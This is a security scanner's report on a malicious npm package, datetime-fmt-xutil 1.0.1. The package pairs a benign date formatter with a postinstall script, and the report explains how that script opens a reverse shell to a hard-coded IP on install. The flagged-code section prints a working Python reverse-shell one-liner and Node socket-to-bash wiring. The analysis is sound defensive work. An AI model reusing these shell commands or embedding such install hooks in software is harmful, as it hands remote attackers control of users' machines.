registry / Remote code execution / datetime-fmt-xutil
datetime-fmt-xutil
A simple date formatting utility
This report shows the evidence for datetime-fmt-xutil@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiDirect source inspection confirms an automatically triggered reverse shell with a hard-coded endpoint and no package-aligned purpose. This is concrete install-time remote code execution.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation, via postinstall
Impact
Remote operator obtains interactive shell access with the installing user's privileges.
Mechanism
hard-coded reverse shell with Python and Node fallbacks
Attack narrative
On npm installation, package.json invokes postinstall.js. That script attempts Python PTY and subprocess reverse shells to 8.135.48.40:4444, then falls back to a Node TCP connection piping an interactive /bin/bash process. This grants a remote listener command execution under the installer’s account.
AI rationale
Direct source inspection confirms an automatically triggered reverse shell with a hard-coded endpoint and no package-aligned purpose. This is concrete install-time remote code execution.
Evidence
package.jsonpostinstall.jsindex.js
Network endpoints1
8.135.48.40:4444
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs postinstall.js automatically during installation.
- postinstall.js connects to 8.135.48.40:4444 and attaches an interactive /bin/bash shell.
- Two execSync Python reverse-shell fallbacks run before a native Node shell fallback.
- index.js is a benign-looking date formatter, consistent with concealment of the install-time payload.
Evidence against
- No legitimate purpose for networked shell execution is present in the package source.
Behavioral surface
ChildProcess
HighEntropyStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1const { execSync } = require('child_process');
L2: const net = require('net');
L3: const { spawn } = require('child_process');
...
L9: try {
L10: execSync(`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'`, {timeout: 300000});
L11: } catch(e) {
...
L20: c.pipe(sh.stdin);
L21: sh.stdout.pipe(c);
L22: sh.stderr.pipe(c);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
Findings
2 Critical5 High2 Medium2 Low
CriticalReverse Shellpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processpostinstall.js
HighSuspicious Lifecycle Evidencepostinstall.js
HighAi Review Evidencepostinstall.js
HighAi Review Evidenceindex.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
Affected versions and remediation
This report applies to datetime-fmt-xutil@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing datetime-fmt-xutil@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.